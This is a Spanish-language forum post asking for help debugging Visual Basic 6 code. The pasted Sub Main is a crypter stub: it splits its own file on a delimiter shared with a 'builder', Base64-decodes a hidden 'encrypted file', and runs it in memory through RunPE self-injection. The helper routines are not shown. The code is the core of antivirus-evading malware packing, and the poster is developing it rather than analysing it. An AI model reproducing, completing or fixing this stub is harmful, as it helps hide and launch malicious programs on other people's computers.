CUAND O CORRO EL CODIGO EN VISUAL BASIC 6 ME SALE ESE MENSAJE.
ESTE ES EL CODIGO, NO SE COMO SOLUCIONARLO
LA LINEA QUE ESTA EN NEGRITA ES LA DEL ERROR. GRACIAS DE ANTEMANO.
Sub Main()
Dim sMe() As String 'Array que contiene el Stub y el archivo cifrado
Dim sDelimitador As String 'Igual que en el builder
Dim b64 As New clsBase64 'Instancia de la clase clsBase64
Dim sDescifrado As String 'Archivo descifrado
Dim sBinario() As Byte 'Array de bytes que tendrá el archivo descifrado
sDelimitador = "[jona]Delimitador[jona]" 'IMPORTANTE: mismo delimitador que en el builder
sMe = SplitMyself(sDelimitador)
'[Array] sMe
'sMe(0) = Stub
'sMe(1) = Archivo cifrado
sDescifrado = b64.Decode(sMe(1)) 'Guardamos el archivo descifrado en la variable 'sDescifrado'
sBinario = StrConv(sDescifrado, vbFromUnicode) 'Convertimos el archivo descifrado a una array de bytes
Call RunPE(GetCurrentPath, sBinario) 'con esto nos autoinyectamos el archivo descifrado
End Sub
